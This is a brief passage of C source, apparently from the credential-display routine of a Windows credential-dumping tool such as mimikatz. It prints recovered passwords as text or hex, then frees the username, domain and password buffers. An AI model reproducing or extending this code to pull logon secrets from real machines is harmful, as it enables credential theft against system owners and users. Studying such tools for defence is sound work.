L"\n\t * Password : "******"%wZ", password); else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1); } LocalFree(mesCreds->UserName.Buffer); LocalFree(mesCreds->Domaine.Buffer); LocalFree(mesCreds->Password.Buffer); } } if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NEWLINE) kprintf(L"\n"); } else kprintf(L"LUID KO\n"); }